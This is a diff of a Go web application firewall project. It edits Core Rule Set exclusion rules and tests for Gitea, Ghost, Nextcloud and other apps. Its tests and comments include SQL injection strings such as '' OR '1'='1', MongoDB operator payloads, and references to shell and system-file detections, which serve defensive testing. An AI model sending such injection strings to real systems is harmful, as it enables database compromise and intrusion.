filter := "status:published+title:~'" + typed + "'"
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
}
}
// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
// pages, email_segment, the search of ActivityPub and the check of an
// invitation.
func TestGhostOrdinaryQueriesPass(t *testing.T) {
t.Parallel()
for _, encoded := range hardValues {
value, _ := url.QueryUnescape(encoded)
text := url.QueryEscape("Notes on " + value + " & tidy files")
for _, target := range ghostAnalyticsFilters {
wantGhostQuery(t, target+encoded, false)
}
wantGhostQuery(t, ghostCampaign+text, false)
wantGhostQuery(t, ghostAccountSearch+text, false)
}
// pathname, the page the analytics show: a post and two tag pages.
for _, path := range []string{
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
} {
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
}
wantGhostQuery(
t,
ghostCampaign+url.QueryEscape(ghostCommandNames),
false,
)
wantGhostQuery(
t,
ghostAccountSearch+"%40powershell%40example.com",
false,
)
for _, segment := range []string{
"label:powershell-users", "label:python3", "label:ls-la",
"label:htaccess", "status:free,tier:powershell-club",
} {
wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
}
for _, address := range ghostAddresses {
wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
}
}
// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
// refuses label, sent as labels in a CSV import to target, or lets it
// through.
func wantGhostImportLabel(
t *testing.T, target, label string, refused bool,
) {
t.Helper()
r := request{http.MethodPost, target, []string{multipart}}
body := field("labels", label) + field("mapping[email]", "email") + end
got, _ := inspectBody(t, readingBodies(t), r, body)
if refused && got.Score < ghostThreshold {
t.Errorf("labels=%q at %s let through: %+v", label, target, got)
}
if !refused && got.Score >= ghostThreshold {
t.Errorf("labels=%q at %s refused: %+v", label, target, got)
}
}
func TestGhostImportLabelsPass(t *testing.T) {
t.Parallel()
for _, encoded := range hardValues {
value, _ := url.QueryUnescape(encoded)
wantGhostImportLabel(t, ghostImport, value+" import", false)
}
wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
for _, attack := range ghostAttacks {
wantGhostImportLabel(t, ghostImport, attack, true)
}
// labels keeps its rules on other paths, and when the query has a field
// of the same name.
wantGhostImportLabel(t, ghostMembers, "python3 import", true)
wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
}
func TestGhostExclusionsAreNarrow(t *testing.T) {
t.Parallel()
@@ -826,8 +462,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
)
for _, refused := range []struct{ target, body string }{
@@ -847,6 +481,7 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
},
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
{ghostPosts, email},
{ghostMembers, email},
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
@@ -863,12 +498,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
{ghostPosts, userEmail},
{ghostUser + "?json.users.0.email=x", userEmail},
{"/api/posts/1/", postURL},
{ghostMembers, postURL},
{ghostPage, postURL},
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
{ghostPost, pageURL},
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
@@ -904,7 +533,6 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
script = `<script defer src=\"/script.js\"></script>`
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
)
for _, refused := range []struct{ target, body string }{
@@ -914,8 +542,6 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
{"/api/settings/", scriptInSettings},
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
{ghostPosts, scriptInTag},
{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
@@ -937,8 +563,7 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
// The query fields keep their rules off Ghost's paths, and in other
// query fields there. search skips its rules only on the Admin API, and
// url only on the editor's lookup of embeds. pathname, email_segment,
// query and email skip theirs only on their own paths.
// url only on the editor's lookup of embeds.
for _, target := range []string{
"/api/posts/?filter=powershell",
"/ghost/posts/?filter=powershell",
@@ -947,79 +572,11 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
"/members/api/member/?search=python3",
"/ghost/api/admin/posts/?url=powershell",
"/oembed/?url=powershell",
"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
"/ghost/api/admin/stats/top-content/?order=powershell",
"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
"/ghost/api/admin/posts/?query=python3",
"/.ghost/activitypub/v1/actions/note?query=python3",
"/ghost/api/admin/invites/?email=python3.dev%40example.com",
} {
wantGhostQuery(t, target, true)
}
}
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
// the others: each keeps its rules on another path, and when the query has
// a field of the same name.
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const (
bio = `{"users":[{"bio":"python3"}]}`
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
content = `{"content":"python3"}`
altText = `{"image":{"altText":"python3"}}`
accountBio = `{"bio":"python3"}`
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
targetHandle = `{"targetHandle":"@powershell@example.com"}`
domain = `{"domain":"python3.example.com"}`
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
)
for _, refused := range []struct{ target, body string }{
{"/api/users/1/", bio},
{ghostMember, bio},
{ghostUser + "?json.users.0.bio=x", bio},
{ghostPosts, comment},
{ghostComments + "?json.comments.0.html=x", comment},
{ghostAccount, content},
{ghostNote + "?json.content=x", content},
{ghostAccount, altText},
{ghostNote + "?json.image.altText=x", altText},
{ghostNote, accountBio},
{ghostAccount + "?json.bio=x", accountBio},
{ghostPosts, invited},
{ghostInvites + "?json.invites.0.email=x", invited},
{ghostInvites, accepted},
{ghostInvitation + "?json.invitation.0.email=x", accepted},
{ghostMigration, sourceHandle},
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
{ghostMigration, actorURI},
{ghostAliases + "?json.actorUri=x", actorURI},
{ghostAliases, targetHandle},
{ghostMigration + "?json.targetHandle=x", targetHandle},
{ghostAccount, domain},
{ghostDomain + "?json.domain=x", domain},
{ghostPosts, tagCode},
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
{ghostPosts, tagURL},
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, readingBodies(t), r, refused.body)
if got.Score < ghostThreshold {
t.Errorf("PUT %s %s let through: %+v", refused.target,
refused.body, got)
}
}
}
func TestGhostPasswordsPass(t *testing.T) {
t.Parallel()
+6 -109
View File
@@ -172,13 +172,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
# A branch, tag or package name can hold a slash, as feat/docker-support and
# npm's @scope/name do. So q on a repository's branches, tags and packages
# pages, on an owner's packages page, on the admin page of packages, on the
# API's search of packages and on the Composer and Conan registries' searches
# also skips this rule:
# pages, on an owner's packages page and on the admin page of packages also
# skips this rule:
# 932160: /bin/sh
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
admin/packages|api/v1/packages/[^/]+|\
api/packages/[^/]+/(?:composer/search\.json|conan/v[12]/conans/search))$" \
admin/packages)$" \
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
# gitea's other searches send a name or a few words in q too, which skips only
@@ -190,11 +188,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
# The searches:
# - the dashboard's filter of repositories;
# - the author filter of the issue and pull request lists;
# - the lists of users and organisations;
# - the API's searches of users, of topics, of an organisation's teams and of
# emails;
# - the searches of the Cargo, Chef, Composer and Conan registries, and the
# NuGet registry's search service;
# - the lists of users and organisations, and the API's search for users;
# - the list of repositories a user watches;
# - an organisation's milestones of one team, and its search for teams;
# - the milestones of a repository or an organisation, and the projects of a
@@ -211,11 +205,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
# versions holds the package's name, which can hold a slash, as npm's
# @scope/name does.
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
explore/(?:users|organizations)|\
api/v1/(?:users/search|topics/search|orgs/[^/]+/teams/search|\
admin/emails/search)|\
api/packages/[^/]+/(?:cargo/api/v1/crates|chef/api/v1/(?:search|cookbooks)|\
composer/search\.json|conan/v[12]/conans/search|nuget/query)|\
explore/(?:users|organizations)|api/v1/users/search|\
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
[^/]+/-/packages/[^/]+/.+/versions|\
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
@@ -229,99 +219,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Two of the API's searches send their words in a field other than q, which
# skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3, alice/python3-app
# The search of unadopted repositories sends an owner and a name, such as
# alice/python3-app, in query.
SecRule REQUEST_FILENAME "@rx ^/api/v1/admin/unadopted$" \
"id:900607,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:query,\
ctl:ruleRemoveTargetById=932120;ARGS:query,\
ctl:ruleRemoveTargetById=932250;ARGS:query,\
ctl:ruleRemoveTargetById=932260;ARGS:query"
# The search of a repository's milestones sends a milestone's name in name.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/milestones$" \
"id:900608,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name"
# The npm registry's search sends its words in text, which skips these rules
# there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh, as an npm name such as @alice/tools-cli holds a slash
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/npm/-/v1/search$" \
"id:900609,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:text,\
ctl:ruleRemoveTargetById=932120;ARGS:text,\
ctl:ruleRemoveTargetById=932160;ARGS:text,\
ctl:ruleRemoveTargetById=932250;ARGS:text,\
ctl:ruleRemoveTargetById=932260;ARGS:text"
# A Conan search takes a pattern such as zlib/*, which the rule for SQL
# injection (942100) refused in q. q skips that rule only when the request has
# one q, in the query string or the body, with the shape of a Conan reference.
# A reference is a name, then optionally / and a version, then optionally @
# and a user, then optionally / and a channel. Each part is made of letters,
# digits, _, ., - and *. A part holds no +, since 942100 reads + as a space.
# q must also hold no */, which ends an SQL comment, and no --, which starts
# one. Last, 942100 must find no SQL injection in q once each comment that /*
# starts, an unclosed one included, is replaced by a space. So zlib/* passes,
# and SQL injection such as these stays refused:
# 1' OR '1'='1
# 1/**/or/**/1
# 1/*@*/or-1
# 1+or+1--
# 1-or-1--
# x/1.or.1
# 1.having.1
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see a q there. It checks tx.app_gitea, since the skip above does
# not reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/conan/v[12]/conans/search$" \
"id:900611,phase:2,pass,nolog,chain"
SecRule &TX:app_gitea "@eq 1" "chain"
SecRule &ARGS:q "@eq 1" "chain"
SecRule ARGS:q "!@contains */" "chain"
SecRule ARGS:q "!@contains --" "chain"
SecRule ARGS:q "!@detectSQLi" "t:none,t:replaceComments,chain"
SecRule ARGS:q "@rx ^[\w.*-]+(?:/[\w.*-]+)?(?:@[\w.*-]+(?:/[\w.*-]+)?)?$" \
"ctl:ruleRemoveTargetById=942100;ARGS:q"
# The NuGet v2 API's searches, Search() and Packages(), send their words in
# searchTerm, or in $filter as an expression such as
# tolower(Id) eq 'python3'. Search()/$count and Packages()/$count count a
# search's results and read the same fields. searchTerm skips these rules:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# $filter skips these:
# 930120: .htaccess
# 932120: powershell
# The names $filter, $orderby and $top skip the rule for MongoDB operators
# (942290), which refused every such search.
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/nuget/(?:Search|Packages)\(\)(?:/\$count)?$" \
"id:900612,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932120;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932250;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932260;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=930120;ARGS:$filter,\
ctl:ruleRemoveTargetById=932120;ARGS:$filter,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$filter,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$orderby,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$top"
# The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, so q skips these rules on every path of one
# segment, other apps' pages such as /index.php included:
@@ -497,7 +394,7 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
# The requests below name a file or a branch in a body field, which is read only
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Each field skips the rules that
# refused it.
# Each field below that names a branch skips these rules:
# 932120: fix-powershell-module
+4 -255
View File
@@ -3,7 +3,6 @@ package coreruleset_test
import (
"net/http"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -86,7 +85,7 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
@@ -147,7 +146,7 @@ func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
@@ -171,7 +170,7 @@ func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
@@ -183,7 +182,7 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
}
}
attacks := []string{binSh, commandInjection, pathTraversal}
attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
// /bin/sh, a shell command after a ";", a path traversal and the hard
// values stay refused in q on paths near the searches, and in another
@@ -249,253 +248,3 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
}
}
}
// giteaAPISearches are the API's searches that gitea and Forgejo share whose
// field skips the lists of system files and command names. Each ends in the
// field it sends its words in.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaAPISearches = []string{
"/api/v1/users/search?q=",
"/api/v1/topics/search?q=",
"/api/v1/orgs/acme/teams/search?q=",
"/api/v1/admin/emails/search?q=",
"/api/v1/admin/unadopted?query=",
"/api/v1/repos/alice/tools/milestones?name=",
}
// giteaAPIPackageSearch is the API's search of an owner's packages, whose q
// also lets /bin/sh through, since a package name can hold a slash.
const giteaAPIPackageSearch = "/api/v1/packages/alice?q="
func TestGiteaAttacksAreRefusedInItsAPISearches(t *testing.T) {
t.Parallel()
checkSearchesRefuseAttacks(
t,
giteaAPISearches,
[]string{giteaAPIPackageSearch},
)
}
// checkSearchesRefuseAttacks checks that SQL injection, a path traversal,
// script injection and a shell command stay refused in the field of each
// search, in the query string and in a form data body. Each search ends in
// its field. /bin/sh stays refused too in the field of each of
// refusingBinSh, but not of lettingBinSh.
func checkSearchesRefuseAttacks(
t *testing.T, refusingBinSh, lettingBinSh []string,
) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, search := range slices.Concat(refusingBinSh, lettingBinSh) {
path, field, _ := strings.Cut(search, "?")
for _, attack := range []string{
sqlInjection, pathTraversal, scriptInjection, commandInjection,
} {
if got := inspect(t, defaults, get(search+attack)); got.Score < threshold {
t.Errorf("GET %s%s let through: %+v", search, attack, got)
}
// The same field in a form data body.
r := request{http.MethodPost, path, []string{formData}}
if got, _ := inspectBody(t, bodies, r, field+attack); got.Score < threshold {
t.Errorf(
"POST %s %s%s let through: %+v",
path,
field,
attack,
got,
)
}
}
}
for _, search := range refusingBinSh {
if got := inspect(t, defaults, get(search+binSh)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", search, binSh, got)
}
}
}
func TestGiteaAPISearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
// Each search's field on paths near the searches, and another field on
// them.
checkValuesStayRefused(t, []string{
"/api/v1/topics/search/x?q=",
"/api/v1/orgs/acme/teams?q=",
"/api/v1/orgs/acme/teams/search/x?q=",
"/api/v1/admin/emails?q=",
"/api/v1/admin/unadopted/alice/legacy-site?query=",
"/api/v1/admin/users?query=",
"/api/v1/repos/alice/tools/milestones/1?name=",
"/api/v1/repos/alice/tools/labels?name=",
"/api/v1/packages/alice/generic/tools-cli?q=",
"/api/v1/topics/search?other=",
"/api/v1/orgs/acme/teams/search?other=",
"/api/v1/admin/emails/search?other=",
"/api/v1/admin/unadopted?q=",
"/api/v1/repos/alice/tools/milestones?q=",
"/api/v1/packages/alice?other=",
})
}
// checkValuesStayRefused checks that /bin/sh, a shell command after a ";", a
// path traversal and the hard values stay refused at the end of each target.
func checkValuesStayRefused(t *testing.T, targets []string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
for _, target := range targets {
for _, value := range slices.Concat(
[]string{binSh, commandInjection, pathTraversal},
hardValues,
) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
}
// giteaRegistrySearches are the package registries' searches whose field
// skips the lists of system files and command names. Each ends in the field
// it sends its words in.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaRegistrySearches = []string{
"/api/packages/alice/cargo/api/v1/crates?q=",
"/api/packages/alice/chef/api/v1/search?q=",
"/api/packages/alice/chef/api/v1/cookbooks?q=",
"/api/packages/alice/nuget/query?q=",
"/api/packages/alice/nuget/Search()?searchTerm=",
"/api/packages/alice/nuget/Packages()?$filter=",
"/api/packages/alice/nuget/Search()/$count?searchTerm=",
"/api/packages/alice/nuget/Packages()/$count?$filter=",
}
// giteaRegistrySearchesLettingBinSh are the package registries' searches
// whose field also lets /bin/sh through, since a Composer, Conan or npm name
// can hold a slash.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaRegistrySearchesLettingBinSh = []string{
"/api/packages/alice/composer/search.json?q=",
"/api/packages/alice/conan/v1/conans/search?q=",
"/api/packages/alice/conan/v2/conans/search?q=",
"/api/packages/alice/npm/-/v1/search?text=",
}
func TestGiteaAttacksAreRefusedInItsRegistrySearches(t *testing.T) {
t.Parallel()
checkSearchesRefuseAttacks(
t,
giteaRegistrySearches,
giteaRegistrySearchesLettingBinSh,
)
}
func TestGiteaRegistrySearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
// Each search's field on paths near the searches, and another field on
// them.
checkValuesStayRefused(t, []string{
"/api/packages/alice/cargo/api/v1/crates/tools-cli?q=",
"/api/packages/alice/chef/api/v1/cookbooks/tools?q=",
"/api/packages/alice/composer/packages.json?q=",
"/api/packages/alice/conan/v1/conans/tools/1.0/alice/stable/search?q=",
"/api/packages/alice/nuget/query/x?q=",
"/api/packages/alice/nuget/FindPackagesById()?id=",
"/api/packages/alice/nuget/FindPackagesById()/$count?id=",
"/api/packages/alice/nuget/Search()/$count/x?searchTerm=",
"/api/packages/alice/npm/tools-cli?text=",
"/api/packages/alice/cargo/api/v1/crates?other=",
"/api/packages/alice/chef/api/v1/search?other=",
"/api/packages/alice/composer/search.json?type=",
"/api/packages/alice/conan/v2/conans/search?other=",
"/api/packages/alice/nuget/query?other=",
"/api/packages/alice/nuget/Search()?targetFramework=",
"/api/packages/alice/nuget/Packages()?$orderby=",
"/api/packages/alice/nuget/Search()/$count?targetFramework=",
"/api/packages/alice/nuget/Packages()/$count?$orderby=",
"/api/packages/alice/npm/-/v1/search?q=",
})
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
// The rule for MongoDB operators (942290) still refuses the name of
// another operator on NuGet's searches, and $filter on NuGet's other
// paths. The rule for SQL injection (942100) still refuses tools/* in a
// field other than a Conan search's, SQL injection in a second q after a
// Conan pattern, SQL comments or dots that stand in for spaces, and SQL
// injection holding + or --.
for _, target := range []string{
"/api/packages/alice/nuget/Search()?$where=1",
"/api/packages/alice/nuget/Packages()?$ne=1",
"/api/packages/alice/nuget/Search()/$count?$where=1",
"/api/packages/alice/nuget/FindPackagesById()?$filter=IsLatestVersion",
"/api/packages/alice/nuget/FindPackagesById()/$count?$filter=IsLatestVersion",
"/api/packages/alice/composer/search.json?q=tools%2F%2A",
"/api/packages/alice/conan/v2/conans/search?other=tools%2F%2A",
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A&q=" +
sqlInjection,
"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%2A%2For%2F%2A%2A%2F1",
"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%40%2A%2For-1",
"/api/packages/alice/conan/v2/conans/search?q=1%2Bor%2B1--",
"/api/packages/alice/conan/v2/conans/search?q=1-or-1--",
"/api/packages/alice/conan/v2/conans/search?q=x%2F1.or.1",
"/api/packages/alice/conan/v2/conans/search?q=x%2F1.and.1",
"/api/packages/alice/conan/v2/conans/search?q=1.having.1",
} {
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// SQL injection in a q in the body is refused, even after a Conan
// pattern in the query string.
search := request{
http.MethodPost,
"/api/packages/alice/conan/v2/conans/search?q=zlib",
[]string{formData},
}
body := "q=" + sqlInjection
if got, _ := inspectBody(t, readingBodies(t), search, body); got.Score < threshold {
t.Errorf("POST %s %s let through: %+v", search.target, body, got)
}
// So is SQL injection with dots for spaces, in a q sent only in the body.
search.target = "/api/packages/alice/conan/v2/conans/search"
body = "q=x%2F1.or.1"
if got, _ := inspectBody(t, readingBodies(t), search, body); got.Score < threshold {
t.Errorf("POST %s %s let through: %+v", search.target, body, got)
}
// The rule that lets a Conan pattern through is in phase 2, where it
// checks tx.app_gitea itself: a hostname that does not serve gitea
// refuses the pattern.
pattern := get(
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A",
)
apps := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
wantResult(t, apps, withHost(pattern, giteaHost), coreruleset.Result{})
wantResult(t, apps, withHost(pattern, otherHost), matched(942100))
}
+1 -1
View File
@@ -5,7 +5,7 @@
# file is loaded before the Core Rule Set's rules. Each comment names a request
# a rule refused. An exclusion on a field of a body applies only when the query
# has no parameter of that name, so it matters only while
# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
# SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
#
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
# resources under them count as Mastodon's paths.
+1 -1
View File
@@ -12,7 +12,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const mastodonThreshold = 5
// mastodonStatuses is where Mastodon's apps and web app post.
+1 -1
View File
@@ -5,7 +5,7 @@
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter of
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# MediaWiki's paths are matched at the site root and under /w/.
#
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
+3 -5
View File
@@ -9,7 +9,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_WAF_APPS.
@@ -76,8 +76,7 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {mediawiki},
@@ -121,8 +120,7 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {mediawiki},
+1 -1
View File
@@ -5,7 +5,7 @@
# switches off, so this file is loaded before the Core Rule Set's rules. Each
# comment names a request a rule refused. An exclusion on a field of a JSON body
# applies only when the query has no parameter of that name, so it matters only
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
# serves them.
#
+3 -4
View File
@@ -13,7 +13,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5
// nextcloudSignIn is the sign-in page.
@@ -102,8 +102,7 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {nextcloud},
@@ -529,7 +528,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
target := nextcloudUsers + "/alice"
+4 -4
View File
@@ -57,7 +57,7 @@ func giteaRequests(t *testing.T) []request {
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
